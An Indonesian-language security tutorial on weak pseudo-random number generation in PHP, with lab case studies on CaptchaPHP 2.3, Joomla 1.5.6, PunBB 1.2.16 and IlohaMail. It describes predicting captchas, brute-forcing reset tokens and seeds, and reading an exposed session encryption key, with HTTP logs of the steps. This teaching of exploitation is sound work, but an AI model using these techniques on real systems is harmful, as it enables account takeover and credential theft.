Unpredictability maksudnya adalah data-data yang sudah lebih dulu muncul tidak bisa dipakai untuk memprediksi data apa yang akan muncul berikutnya karena setiap data tidak ada hubungannya dan tidak tergantung dengan data yang lain (independent).

Apa yang terjadi kalau random number yang akan muncul bisa diprediksi sebelumnya?

Mesin di kasino memiliki random number generator di dalamnya untuk mengacak kartu, bila random number yang muncul sudah bisa diprediksi sebelumnya, dia akan bisa selalu memenangkan permainan. Dalam buku The Art of Intrusion, ada satu bab yang menceritakan tentang kesuksesan 3 orang melakukan hacking mesin kasino dengan cara memprediksi random number.

Quote berikut dengan singkat menceritakan apa yang mereka lakukan, “Reverse engineering the operation of the machine, learned precisely how the random numbers were turned into cards on the screen, precisely when and how fast the RNG iterated, all of the relevant idiosyncrasies of the machine, and developed a program to take all of these variables into consideration so that once we know the state of a particular machine at an exact instant in time, we could predict with high accuracy the exact iteration of the RNG at any time within the next few hours or even days”.

Dalam dunia security predictability bisa berakibat fatal, misalnya memprediksi password yang digenerate oleh password generator, memprediksi session id, memprediksi activation link dan masih banyak lagi lainnya.

Uniqueness

Bila kita mengambil sederetan data acak (misalkan 10 karakter acak), kecil peluangnya kita menemukan 10 karakter acak tersebut berulang (repetition), semakin panjang deretan angka yang kita ambil, semakin kecil peluangnya berulang. Karena random number terdistribusi secara merata dan antara satu data dan lainnya tidak saling berhubungan, maka  kecil peluang kemunculan dua data yang berulang.

Pseudo Random Number Generator (PRNG)

Komputer sebagai mesin yang deterministik tidak mungkin bisa menghasilkan sesuatu yang random. Deterministik disini maksudnya adalah suatu prosedur tertentu diberi input yang sama, outputnya  juga akan selalu sama. Output hanya akan berbeda bila inputnya berbeda.

Komputer bekerja mengikuti langkah-langkah yang sudah ditetapkan dalam algoritma program. Tidak mungkin sebuah komputer bekerja dengan cara yang acak tanpa mengikuti alur langkah-langkah algoritma.

Machines are deterministics, their operation is predictable and repeatable

Begitu juga random number yang digenerate komputer juga adalah hasil dari komputasi algoritma tertentu yang deterministik, oleh karena itu hasil random numbernya tidak benar-benar random atau disebut dengan Pseudo Random.

Salah satu implementasi PRNG adalah dengan menggunakan algoritma enkripsi simetris seperti AES-128 dalam counter mode seperti gambar di atas.

Random number yang pertama muncul adalah hasil enkripsi dengan kunci yang diambil dari suatu sumber yang cukup random (sebagai seed), dan message yang dienkrip adalah angka 0. Random number berikutnya adalah hasil enkripsi dengan kunci yang sama (seed), namun message yang dienkrip adalah angka 1, berikutnya message yang dienkrip adalah 2 dan seterusnya sehingga membentuk deretan angka yang cukup random.

Kalau diperhatikan gambar implementasi PRNG di atas, jelas terlihat bahwa bila orang lain mengetahui seednya, maka semua random number yang akan muncul dan yang sudah muncul bisa diketahui dengan mudah.

Sekali lagi perlu diingat bahwa prosedur PRNG adalah deterministik, jadi dengan seed yang sama dan algoritma yang sama, maka deretan angka random yang muncul juga akan selalu sama. Deretan angka random hanya akan berbeda bila seed yang diberikan berbeda.

  • Dengan seed x, maka yang muncul adalah x0,x1,x2
  • Dengan seed y, maka yang muncul adalah y0,y1,y2
  • Dengan seed z, maka yang muncul adalah z0,z1,z2

Remember: Same seed, same sequence of numbers

Kalau ada yang berpikir menjalankan PRNG dengan seed yang sama berulang-ulang kemudian secara ajaib angka acak yang berbeda-beda muncul setiap kali dijalankan, kata einstein itu gila. Mengharapkan hasil yang berbeda dengan menjalankan fungsi PRNG dan input seed yang sama itu gila kata Einstein, mau diulang berapa kalipun hasilnya pasti sama, tidak mungkin berbeda.

Apa yang terjadi bila seed diketahui pihak luar? Bila orang lain tahu seed yang diberikan pada suatu PRNG, maka dia bisa mengetahui semua deret random number yang sudah muncul dan yang akan datang.

When the state of the random number generator is leaked all future random numbers are predictable – Steffan Esser

Oleh karena itu sangat penting untuk menggunakan seed dari sumber yang benar-benar random agar tidak terjadi kebocoran seed.

PRNG Period/Cycle

Kelemahan lain dari PRNG adalah adanya periode/siklus perulangan, setelah PRNG men-generate sekian banyak random number, dia akan kembali lagi mengulang deretan angka yang sama seperti dari awal lagi.

Contohnya dengan seed x, maka deretan angka yang muncul adalah x0,x1,x2…(setelah sekian banyak random number)…x0,x1,x2…dan seterusnya

Source of Seed

Sebagai input untuk PRNG, seed haruslah berasal dari sumber yang benar-benar random. Sumber yang dinilai random adalah aktivitas fisik yang non-deterministic antara lain:

  • Pergerakan mouse
  • Penekanan tombol keyboard
  • Thermal noise
  • Radioactive activity

Sebenarnya sumber true random number sangat banyak di alam. Hampir semua kejadian di alam bila kita perhatikan dengan seksama terjadi dengan cara yang random, seperti gerakan awan, ombak di laut, pergerakan atom/molekul dalam zat dan masih banyak lagi. Dengan sensor atau alat observasi yang tepat kita bisa memanfaatkan banyak kejadian di alam sebagai sumber true random number.

Beberapa operating system menyediakan random pool yang siap pakai seperti /dev/random. /dev/random siap memberikan random number kapanpun diminta yang berasal dari environmental noise dalam CPU, jadi random numbernya bisa dibilang cukup random karena berasal dari aktivitas fisik (non-deterministik).

Random Number as Seed to PRNG

Dibutuhkan effort lebih untuk mendapatkan bilangan random yang non-deterministik dan berasal dari aktivitas fisik di luar komputer. Sumber-sumber yang memberikan bilangan random yang non-deterministik biasanya hanya bisa menyediakan random number dalam jumlah yang terbatas, sedangkan PRNG bisa memberikan random number dalam jumlah yang sangat banyak (tergantung sebanyak apa angka yang keluar sebelum terjadi perulangan, repetition cycle).

Karena keterbatasan itu maka perlu dikombinasikan antara random number non-deterministik dengan PRNG. Bila dibutuhkan random number dalam jumlah banyak yang tidak bisa disediakan oleh random number non-deterministik, maka kompromi yang bisa dilakukan adalah dengan mengambil random number dari PRNG yang diberi seed dari random number yang diambil dari sumber luar yang non-deterministik.

Dalam gambar implementasi PRNG di atas juga terlihat bahwa prosedur PRNG memiliki input yang berasal dari “random pool” yang digambarkan sebagai awan. Random pool ini berasal dari sumber-sumber yang non-deterministik seperti pergerakan mouse, keyboard, thermal noise sampai aktivitas radioaktif.

Random Number Role in Security

Random number memegang peranan critical dalam menjamin keamanan data. Aplikasi random number dalam bidang security yang crucial antara lain:

  • Generating password
  • Generating session ID
  • Generating activation/confirmation code
  • Generating symmetric/asymmetric encryption key
  • and many more…

Bila random number yang digunakan untuk men-generate password atau encryption key lemah, seorang hacker bisa mendapatkan password atau encryption key dengan melakukan komputasi di komputernya kemudian dengan leluasa menguasai account, server atau membuka data yang dilindungi dengan enkripsi.

Agar lebih terbayang bagaimana pentingnya random number yang kuat dalam menjaga security, berikut ini ada 4 studi kasus web application real world yang menggunakan weak random number dan cara eksploitasinya.

Case Study #1: Predicting Captcha (CaptcaPHP 2.3)

Lab Download: CaptchaPhp 2.3 dan solusicapcay.php

Sebagai contoh kasus weak random number, kita akan melakukan breaking captcha pada CaptchaPHP versi 2.3 tanpa melakukan image processing sedikitpun, murni hanya dengan “predicting the captcha”. Kelemahan ini dilaporkan oleh Julio Vidal.

Captcha memberikan soal berupa gambar berisi teks yang harus kita baca untuk membuktikan bahwa kita adalah manusia, bukan software. Idenya sederhana, bila kita bisa membaca isi teks dalam gambar, maka kita akan dipercaya sebagai manusia. Dalam tulisan saya sebelumnya tentang menjebol captcha dengan OCR saya memakai teknik optical character recognition yang mencoba membaca isi teks dalam gambar dengan algoritma tertentu. Tergantung dari tingkat kerumitan gambar, tingkat keberhasilan teknik OCR kecil, kecuali bila gambarnya benar-benar jelas (tidak mengandung noise dan gangguan-gangguan apapun).

Kali ini kita tidak memakai teknik OCR, kita akan melakukan prediksi isi teks dalam gambar, tanpa melibatkan image processing  bahkan gambar captchanya tidak disentuh dan tidak dilihat sama sekali. Tingkat akurasi prediksi ini sangat tinggi, hampir 100% sukses. Bagaimana caranya kita bisa memprediksi captcha dengan akurasi yang sangat tinggi?

Weak Seeding

Sebelumnya kita harus pahami bahwa dengan mengetahui seed suatu pseudorandom number generator (PRNG), kita bisa memprediksi semua random number yang akan di-generate oleh PRNG tersebut.

 Captcha selalu memberikan soal yang berisi teks yang berbeda-beda setiap kali diminta. Teks yang ada pada gambar captcha dipilih secara random dengan fungsi rand(). Dalam captchaphp 2.3 ini PRNG terlebih dahulu diberi initial state, atau seed dengan formula: ‘microtime() + time()/2 -21017′ seperti terlihat dalam source code di bawah ini:

Sepintas source code di atas tidak bermasalah, namun kalau diperhatikan pada pemanggilan fungsi srand(), terlihat bahwa sumber entropi yang dipakai untuk seed sangat lemah, yaitu waktu dalam detik dan mikrodetik. Seeding yang lemah ini menjadi malasah besar karena seperti yang sudah kita bahas sebelumnya, bila seed suatu PRNG bocor (diketahui orang lain), maka orang tersebut akan bisa memprediksi semua random number yang akan di-generate.

Kenapa PRNG harus diberi seed dari sesuatu yang tidak diketahui pihak luar? Karena bila seednya sampai diketahui orang lain, maka orang tersebut akan bisa memprediksi semua random number yang akan digenerate.

Masalahnya adalah waktu bukanlah sesuatu yang rahasia, waktu adalah sesuatu yang universal, hanya berbeda pada zona waktu saja. Kalaupun ada perbedaan waktu dengan jam server, kita bisa mengetahui waktu di server dari banyak cara, antara lain  dengan header ‘Last-Modified’ atau header ‘Date’ dari HTTP server.

Integer Truncation Seed

Kalau kita baca dokumentasi php dari fungsi srand() dan microtime(), diketahui bahwa fungsi srand() ini meminta input bertipe integer,  sedangkan formula ‘microtime()+time()/2-21017′ menghasilkan floating point karena ada operasi pembagian dan microtime() menghasilkan angka microsecond bertipe floating point. Karena ada perbedaan tipe, yang diminta integer, sedangkan yang diberikan adalah floating point, maka akan terjadi integer truncation, semua angka dibelakang koma akan dipotong sehingga hanya tersisa integernya saja.

Dalam contoh skrip kecil berikut terlihat bahwa dengan adanya truncation dari floating point ke integer, ‘microtime()+time()/2-21017′ akan sama saja dengan ‘time()/2-21017′. Jadi bisa dikatakan bahwa satu-satunya sumber entropi untuk seed adalah time().

Oke, kini kita sudah tahu bahwa satu-satunya sumber entropi untuk seeding adalah unix time dalam second. Sekarang dari mana kita bisa mengetahui berapa unix time yang dipakai dalam seeding untuk men-generate random text dalam captcha ?

Leaked time() Seed

Kunci untuk bisa melakukan prediksi random number dengan akurat adalah dengan mengetahui internal state (seed) dari PRNG.

Dalam kasus ini kita bisa mengetahui dengan pasti berapa unix time yang dipakai sebagai seed karena adanya parameter __ec_i. Apakah parameter __ec_i ini ? Perhatikan source html dari captcha berikut:

Dalam source htmlnya ada parameter  __ec_i yang berfungsi sebagai tracking ID dan secara internal dipakai untuk menentukan jawaban captcha. Mari kita lihat bagaimana __ec_i ini digenerate:

random seed

Ternyata komponen kedua setelah ‘ec.’ adalah hasil dari fungsi time(), yaitu unix time. Jadi kalau parameter __ec_i berisi ‘ec.1343036274.fea073dc38def100d18b21adf211d946′, maka unix time pada saat __ec_i tersebut digenerate adalah 1343036274.

Perhatikan dalam source di atas, ketika memanggil srand() kita memakai fungsi time(), kemudian 2 baris dibawahnya kita men-generate parameter __ec_i yang juga memakai fungsi time().  Meskipun ada perbedaan antara waktu pemanggilan time() yang pertama (pada saat srand) dan yang kedua (pada saat generate __ec_i), namun karena dua waktu ini adalah detik, maka dua kejadian ini sebagian besar terjadi dalam detik yang sama, sangat jarang terjadi di detik yang berbeda.

Jadi dalam kasus ini internal state (seed) dari PRNG sudah bocor dari parameter __ec_i, dengan membaca parameter __ec_i seseorang bisa mengetahui seed yang dipakai untuk generate random teks dalam captcha.

Predicting The Captcha 

Oke, sekarang kita sudah bisa tahu seed yang dipakai untuk generate teks dalam captcha dari parameter __ec_i, selanjutnya bagaimana cara prediksinya?

Perhatikan contoh prediksi pada gambar di atas. Dari parameter __ec_i ‘ec.1343083228.f38f0267daff24ef5ace74d079b2a50c’ kita ketahui bahwa unix time adalah 1343083228 dan timestamp ini digunakan sebagai seed untuk generate random teks dalam captcha. Saya memodifikasi sedikit captchaphp 2.3 yang asli, agar menerima masukan berupa unix time dan memakainya sebagai seed untuk men-generate random teks.

Terlihat bahwa random teks yang digenerate oleh skrip hasil modifikasi yang dijalankan secara local sama persis dengan isi teks dalam gambar captcha yang diberikan server. Ini membuktikan dengan seed dan PRNG yang sama, random number yang digenerate siapapun, kapanpun, dimanapun (di client maupun di server) akan sama persis, artinya kita sudah sukses melakukan prediksi yang 100% akurat. Tanpa menyentuh dan melihat gambar captchanya sama sekali, hanya berbekal unix time kita bisa dengan akurat memprediksi isi teks dalam gambar captcha.

Bila skrip itu dijalankan berulang-ulang kali dengan seed yang sama, maka random teks yang dihasilkan juga akan sama persis. Selama seednya sama, hasil random teksnya juga akan sama.

Modifying Script

Skrip prediksi dibuat dari script captchaphp 2.3 yang asli dengan beberapa modifikasi kecil berikut ini:

Pada modifikasi di atas, saat memanggil srand(), kita tidak lagi memakai fungsi time(), tapi memakai argument dari command line, argv[1].

Modifikasi terakhir adalah dengan mengganti isi fungsi easy_captcha::form() dengan 1 baris saja seperti di atas. Hanya itu saja modifikasi yang dilakukan untuk membuat script prediksi, intinya hanya pada saat seeding kita memakai inputan user bukan fungsi time(), selebihnya kita mengikuti prosedur yang sama (tidak kita modifikasi) dengan captchaphp 2.3 aslinya untuk men-generate teks random dalam captcha.

Case Study #2: Predicting Password Reset Token (Joomla <= 1.5.6)

Lab Download: Joomla 1.5.6 dan Script attack Joomla 1.5.6

Metode otentikasi ketika melakukan reset password umumnya adalah dengan mengirimkan suatu token berupa string acak yang dikirimkan ke email user. Token ini kemudian harus dimasukkan dalam form atau dalam bentuk parameter di URL, bila token yang dimasukkan benar, maka server percaya bahwa dia adalah pemilik account yang sah karena token ini hanya dikirim ke email yang hanya bisa dibuka oleh pemilik account yang sah.

 

Sebagai contoh kasus kita akan memprediksi password reset token pada Joomla <= 1.5.6, vulnerability ini dilaporkan oleh Steffan Esser. Pada Joomla <= 1.5.6, password reset token adalah MD5 hash dari string acak sepanjang 8 karakter alphanumeric sehingga panjang token adalah 32 karakter hex string (0-9 dan a-f).

Token untuk password reset memang harus dibuat se-random mungkin dan sepanjang mungkin karena dengan token ini seorang user bisa mereset passwordnya, jadi jangan sampai token ini diketahui orang lain yang tidak berhak.

Mari kita lihat bagaimana password reset token digenerate secara random di Joomla <= 1.5.6 di bawah ini.

Token sepanjang 8 karakter string digenerate dengan mt_rand() yang sebelumnya di-inisialisasi dengan seed yang entropinya bersumber dari microsecond (1 / 1 juta detik). Mari kita coba jalankan fungsi genRandomPassword ini dengan sedikit modifikasi agar memakai seed yang berasal dari argument command line untuk melihat cara kerjanya.

Dari percobaan di atas terlihat bahwa dengan seed 3132, maka token yang digenerate adalah ’1GIsgoE9′. Perhatikan bahwa walaupun dieksekusi berkali-kali, selama seed yang dipakai adalah 3132, maka random token yang di-generate selalu ’1GIsgoE9′, tidak pernah dan tidak mungkin berbeda.

Jadi bisa dikatakan, random token yang di-generate tergantung dari seed yang dipakai

Number of Possible Token

Mari kita berhitung berapa besar jumlah kemungkinan token yang ada untuk melihat seberapa besar kemungkinan melakukan brute force token. Karena token adalah 8 karakter string yang setiap karakter terdiri dari 62 kemungkinan (A-Z, a-z, 0-9), maka jumlah kemungkinan token adalah 62^8 atau 218.340.105.584.896 (218,34 triliun) kemungkinan token. Jumlah 218 triliun sangat besar, dibutuhkan waktu yang sangat lama untuk melakukan brute force, mencoba semua kemungkinan token sebanyak 218 triliun kali.

Namun apa benar, ada 218 T kemungkinan token ?

Ingat, bahwa token yang di-generate tergantung dari seed yang dipakai, artinya jumlah kemungkinan token sama dengan jumlah kemungkinan seed. Bila hanya ada sejumlah 100 seed, maka jumlah token yang di-generate hanya 100 walaupun kemungkinan permutasinya ada 218 T.

mt_srand(10000000 * (double) microtime());

Perhatikan seed yang dipakai Joomla di atas, mari kita hitung berapa banyak kemungkinan seed. Seed yang dipakai bersumber dari microtime() dikalikan 10 juta. Karena microtime() menghasilkan bilangan floating point antara 0 dan 1, kemudian hasilnya dikalikan 10 juta, maka ada 10 juta kemungkinan seed. Benarkah demikian ?

Dari dokumentasi php, fungsi microtime() menghasilkan microsecond, yaitu 1 / 1 juta detik, artinya output dari fungsi microtime() ada sebanyak 1 juta kemungkinan bilangan floating point antara 0 dan 1. Jadi walaupun microtime() ini dikalikan 10 juta, tetap saja jumlah kemungkinan seed hanya sebanyak jumlah kemungkinan microtime() yaitu hanya 1 juta.

Karena jumlah seed yang mungkin hanya 1 juta kemungkinan, maka jumlah token yang di-generate tidak mungkin bisa lebih dari 1 juta, paling banyak hanya 1 juta token, bukan 218 triliun token.

Disinilah masalahnya, bila hanya ada 1 juta kemungkinan token, maka akan mudah untuk dibrute force karena mencoba sebanyak 1 juta token tidak butuh waktu lama, apalagi bila dilakukan secara distributed. Memang bila harus mencoba 218 T kemungkinan sangat lama waktu yang dibutuhkan, tapi bila hanya 1 juta percobaan itu bisa dilakukan dengan cepat.

The Attack

Dengan kelemahan ini, seorang hacker bisa menguasai akun Joomla administrator dengan cara reset password. Dia akan melakukan reset password akun korban, karena tokennya dikirim ke email si korban dan si hacker tidak bisa membaca email korban, si hacker akan melakukan brute force sebanyak 1 juta token.

Sekarang kita akan membuat exploit untuk melakukan brute force token. Output dari microtime() antara lain 0.000000, 0.000001, 0.000002, 0.000003…0.009203,0.009204,0.009205… s/d 0.999999 (1 juta kemungkinan). Seed yang dipakai adalah output dari microtime ini dikalikan dengan 10 juta, sehingga nilai seed yang dipakai antara lain 0, 10, 20, 30…92030,92040,92050… s/d 9999990 (1 juta kemungkinan seed).

Pertama kita coba lakukan reset password, kemudian nilai token kita brute force secara offline untuk menguji apakah script brute force sudah benar. Dalam contoh ini token yang dikirim ke email korban adalah ‘c7a7854f93affc4fe6d5e7b7b8c73352′.

Brute force secara offline hanya membutuhkan waktu 1,2 detik saja, tentu saja brute force secara online butuh waktu lebih lama, tapi masih dalam hitungan menit atau beberapa jam saja.

Sekarang mari kita coba untuk melakukan brute force online. Karena ada 1 juta token yang harus dicoba, maka akan lebih cepat bila dilakukan secara bersamaan 100 thread yang masing-masing mencoba 10 ribu token. Dalam contoh di bawah ini, kita coba brute force token yang sama dengan yang kita coba sebelumnya secara offline. Dalam contoh ini, kita coba range seed 150.000 s/d 160.000.

Sama seperti percobaan yang offline, token yang valid ditemukan dengan seed 1523480 dalam waktu percobaan adalah 4 menit dan 38 detik. Kalau dihitung-hitung setiap segmen dengan range 10 ribu, dibutuhkan waktu sekitar setengah jam saja, worst casenya paling lama 1 jam atau 2 jam mestinya sudah berhasil ditemukan token yang valid.

Berikut ini adalah source code script untuk melakukan brute force token Joomla <= 1.5.6.

Pada kasus pertama “predicting captcha”, kita bisa melakukan prediksi dengan akurat karena ada kebocoran seed melalui parameter __ec_i. Dari parameter __ec_i kita bisa tahu dengan tepat, berapa unix time yang dipakai sebagai seed sehingga kita bisa prediksi random teks dalam captcha dengan akurat.

Dalam kasus yang kedua ini, tidak ada kebocoran seed. Kita tidak tahu PRNGnya diinisialisasi dengan seed berapa. Kita hanya tahu bahwa PRNGnya diberi seed dengan salah satu dari 1 juta kemungkinan seed sehingga kita bisa brute force seednya. Karena kita hanya perlu brute force sebanyak 1juta, tanpa perlu brute force sebanyak 218 T, maka peluang suksesnya sangat tinggi.

Case Study #3: Predicting Random Password and Activation Link (PunBB <= 1.2.16)

Lab Download: PunBB 1.2.16 dan Script attack PunBB

Pada kasus yang ketiga kita akan secara blindly mendapatkan password baru dan activation link yang diberikan ke email seorang user ketika dilakukan reset password terhadap akun user tersebut. Vulnerability ini ada pada PunBB <= 1.2.16 dan dilaporkan oleh Stefan Esser.

Ada tiga kelemahan pada aplikasi ini, yang pertama adalah weak cookie_seed, yang kedua adalah weak seeding dan ketiga adanya leaked seed.

Weak cookie_seed

Dalam config.php ada variabel $cookie_seed yang dipakai sebagai salt untuk menyimpan password di cookie dalam bentuk md5 hash. Cookie seed ini digenerate sekali pada saat instalasi.

Setiap seorang user login, maka dia akan diberikan cookie yang berisi 2 elemen, yaitu user_id dan md5 hash dari cookie_seed dan sha1 dari password user tersebut, jadi elemen kedua adalah adalah md5($cookie_seed.sha1(‘passworduser’)).

Sebagai contoh, seorang user rizki dengan password ‘rahasia’, ketika login berhasil mendapatkan punbb_cookie berisi:

a:2:{i:0;i:3;i:1;s:32:"c45c1016321797a2a11a362b7101aecd";}

Dari cookie tersebut diketahui user_id adalah 3 dan yang terpenting adalah kondisi berikut:

md5($cookie_seed.sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd'

$cookie_seed digenerate dengan cara yang sangat sederhana:

substr(md5(time()), -8)

$cookie_seed adalah 8 karakter dari belakang md5 hash unix time pada saat instalasi, dengan kata lain, kondisi sebelumnya bisa ditulis sebagai berikut:

md5(substr(md5(X), -8).sha1('rahasia')) = 'c45c1016321797a2a11a362b7101aecd'

Karena dari kondisi di atas, semua elemen sudah diketahui kecuali X yaitu unix time dalam detik ketika instalasi, artinya kita bisa brute force untuk mencari berapa X. Berapakah range brute force yang harus kita coba?

Dari menu daftar user (userlist.php) kita bisa tahu registered date dari user admin untuk mendekati unix time ketika instalasi. Karena yang kita ketahui hanya komponen tanggal saja (jam 00, menit 00), maka untuk mencari ‘exact unix time’ kita tinggal brute force jam dan menitnya saja. Range brute forcenya yang harus kita coba adalah 24 jam ke depan (3600 detik x 24 jam) sejak registered date user admin.

Berikut script untuk brute force cookie_seed bila diketahui registered date user admin adalah 25/07/2012.

Dalam waktu hanya 0.2 detik, kita sudah berhasil menemukan cookie_seed yang ada dalam config.php. Mengetahui nilai cookie_seed dalam config.php adalah langkah pertama, kita lanjutkan dengan langkah kedua.

Weak Seeding

PunBB selalu memberikan cookie baru yang berisi random password 8 karakter setiap kali menerima cookie login yang tidak valid. Cookie  ini formatnya sama dengan cookie punbb_cookie biasa, pada elemen pertama berisi user_id 0, artinya guest, sedangkan elemen kedua berisi md5($cookie_seed.$8chars_random_password).

PRNG yang dipakai untuk generate random password sebelumnya diinisalisasi dengan seed berikut dalam common.php:

// Seed the random number generator
mt_srand((double)microtime()*1000000);

Sama dengan case study sebelumnya, dengan seed seperti ini artinya hanya ada 1 juta kemungkinan seed, dan jumlah 1 juta adalah jumlah yang sangat brute forceable.

Random password digenerate dengan function random_pass berikut:

//
// Generate a random password of length $len
//
function random_pass($len)
{
	$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
 
	$password = '';
	for ($i = 0; $i &lt; $len; ++$i)
		$password .= substr($chars, (mt_rand() % strlen($chars)), 1);
 
	return $password;
}

Karena random_pass digenerate secara random, dan PRNGnya diberi seed dengan suatu nilai di antara 1 juta kemungkinan, maka random password yang digenerate juga hanya ada 1 juta kemungkinan. Hubungan antara seed dan random password adalah pemetaan 1 ke 1, artinya untuk setiap seed ada satu password unik yang digenerate dan juga sebaliknya untuk suatu random password tertentu bisa diketahui berapa seed yang dipakai PRNGnya.

Leaked Seed

Jadi bisa dikatakan bahwa kebocoran seed terjadi melalui cookie berisi random password ini karena ada pemetaan 1 ke 1 antara random password dan seed yang dipakai.

Exploitasi kebocoran seed ini dilakukan dengan cara merequest reset password dengan membawa cookie yang elemen keduanya sengaja dibikin invalid untuk memancing punBB memberikan cookie baru berisi random password. Dari random password yang diberikan bisa diketahui berapa seed yang dipakai pada saat reset password.

Berikut adalah log traffic http header ketika request reset password dengan membawa cookie yang invalid. Pada saat request saya memberikan cookie yang saya modifikasi satu karakter terakhir elemen keduanya dari ‘….aecd’ menjadi ‘…aecc’ agar menjadi invalid.

http://localhost:8888/punbb/login.php?action=forget_2
 
POST /punbb/login.php?action=forget_2 HTTP/1.1
Host: localhost:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.7; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://localhost:8888/punbb/login.php?action=forget
Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bs%3A1%3A%223%22%3Bi%3A1%3Bs%3A32%3A%22c45c1016321797a2a11a362b7101aecc%22%3B%7D
Content-Type: application/x-www-form-urlencoded
Content-Length: 51
form_sent=1&amp;req_email=rizki.wicaksono%40xynexis.com
 
HTTP/1.1 200 OK
Date: Thu, 26 Jul 2012 00:02:33 GMT
Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4
X-Powered-By: PHP/5.4.4
Set-Cookie: punbb_cookie=a%3A2%3A%7Bi%3A0%3Bi%3A0%3Bi%3A1%3Bs%3A32%3A%22cbc4ad58d7e2f5de8f8616d509c1aaa9%22%3B%7D; expires=Fri, 26-Jul-2013 00:02:33 GMT; path=/; httponly
Expires: Thu, 21 Jul 1977 07:30:00 GMT
Last-Modified: Thu, 26 Jul 2012 00:02:34 GMT
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 1936
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

Pada Set-Cookie response header kita mendapatkan cookie baru, punbb_cookie yang berisi:

a:2:{i:0;i:0;i:1;s:32:”cbc4ad58d7e2f5de8f8616d509c1aaa9″;}

Elemen kedua adalah md5 dari cookie_seed digabung dengan random password 8 karakter. Karena cookie_seed sudah kita dapatkan di langkah pertama dan ada pemetaan 1 ke 1 antara random password ini dan seed, maka kita bisa mencari  berapa seed yang dipakai untuk men-generate random password tersebut.

Request reset password dengan membawa cookie yang invalid ini selain memberikan cookie baru juga mengirimkan email ke user yang  meminta reset password, berisi new random password dan activation link untuk mengaktifkan password baru tersebut. Berikut adalah contoh email yang diterima korban.

Dalam email tersebut berisi new random password  dan URL activation link berisi random key. Karena dalam kasus ini si hacker tidak bisa membaca email korban, maka dia harus memprediksi password baru dan activation linknya.

Bagaimana caranya seorang hacker mengetahui password baru dan activation link yang dikirim ke email korban tanpa membaca sama sekali email korban?

Caranya adalah kita lanjutkan saja ke langkah kedua, yaitu mencari tahu berapa seed yang dipakai PRNGnya.

Dalam waktu 6 detik saja sudah kita dapatkan seed yang dipakai PRNGnya. Dengan mengetahui seed yang dipakai ketika server men-generate password baru dan activation link, kita juga bisa men-generate secara local, password baru dan activation link yang sama persis dengan yang di-generate di server.

Terbukti bahwa password baru dan activation link hasil dari script di atas sama persis dengan yang dikirim ke email korban, artinya dengan teknik ini hacker bisa tahu password baru dan activation linknya tanpa membaca email korban, secara blindly.

Berikut adalah script pendek untuk melakukan brute force seed punBB. $target adalah md5 hash dari pun_bb cookie yang diberikan ketika request dengan cookie yang invalid sedangkan $cookie_seed sudah didapatkan di langkah pertama.

Perhatikan bahwa setelah seed diketahui, script menjalankan random_pass(8) dua kali, yang pertama untuk men-generate random password baru, yang kedua untuk men-generate activation link key.

Jadi dalam kasus yang ketiga ini ada kebocoran seed melalui cookie yang berisi random password, dari random password bisa diketahui seed yang dipakai. Melalui teknik ini, seorang hacker bisa menguasai akun korban tanpa perlu membaca email korban.

Case Study #4: Predicting Session ID (IlohaMail <= 0.8.14-rc3)

Lab Download: IlohaMail 0.8.14-RC3 and Script attack IlohaMail

IlohaMail adalah webmail open source yang cukup populer (ask google). Saya menemukan weak random number vulnerability pada aplikasi ini sehingga kita bisa mendapatkan username dan password user yang sedang login.

Session file

Setiap user berhasil login ke webmail, username dan password user tersebut disimpan dalam bentuk encrypted di file session yang formatnya, /data/sessions/xxxxxxxxxx-yyyyy.inc, dimana xxxxxxxxx adalah unix timestamp dalam detik, waktu ketika user tersebut login, dan yyyyy adalah suatu random number. File session ini hanya ada selama user tersebut masih login, setelah user tersebut logout file ini akan dihapus.

Gabungan dari unix time dan 5 digit random number berfungsi sebagai session id dalam ilohamail.

Contoh file session adalah:

Dalam gambar di atas, session id user tersebut adalah ’1343353564-90856′. File pada gambar di atas adalah session file yang mengandung username dan password dalam bentuk encrypted yang nantinya akan kita dekrip. Jadi file ini adalah target utama kita bila ingin mencuri username dan password seorang user.

Sebelumnya ada tiga masalah yang harus kita pecahkan untuk mendapatkan user dan password seorang user dari session file:

  • unix time dalam detik ketika seorang user target login
  • 5 digit random number yang menjadi bagian session id
  • encryption key untuk mendekrip user dan password user

Encryption Key

Kita beruntung karena encryption key untuk mendekrip user dan password dalam session file tersedia dan bisa dibaca di folder /data/users/username.host/key.inc.
File key.inc isinya hanya satu baris saja berisi variabel $passkey dan encryption keynya.

Dari file ini kita bisa tahu kunci untuk mendekrip username dan password seorang user. Namun masih ada 2 persoalan lagi, kita belum tahu nama session filenya karena nama file session terdiri dari unix time ketika user login dan 5 digit random number.

Leaked Logon Time 

Kalau kita request file key.inc dari web server, kita akan mendapatkan informasi kapan file tersebut diubah dari response header ‘Last-Modified-Header’.

Berikut adalah contoh traffic HTTP ketika kita meminta file key.inc dari server.

* About to connect() to localhost port 8888 (#0)
*   Trying ::1... connected
* Connected to localhost (::1) port 8888 (#0)
&gt; GET /ilohamail0814rc3/data/users/rizki@ilmuhacking.com.ilmuhacking.com/key.inc HTTP/1.1
&gt; User-Agent: curl/7.21.4 (universal-apple-darwin11.0) libcurl/7.21.4 OpenSSL/0.9.8r zlib/1.2.5
&gt; Host: localhost:8888
&gt; Accept: */*
&gt; 
&lt; HTTP/1.1 200 OK
&lt; Date: Fri, 27 Jul 2012 02:32:26 GMT
&lt; Server: Apache/2.2.22 (Unix) mod_ssl/2.2.22 OpenSSL/0.9.8r DAV/2 PHP/5.4.4
&lt; Last-Modified: Fri, 27 Jul 2012 01:46:04 GMT
&lt; ETag: "20e651-25-4c5c5dffd6f00"
&lt; Accept-Ranges: bytes
&lt; Content-Length: 37
&lt; Content-Type: text/plain
&lt; 
* Connection #0 to host localhost left intact
* Closing connection #0
<!--?php $passkey="llikn1JzvLOnkYJ0"; ?-->

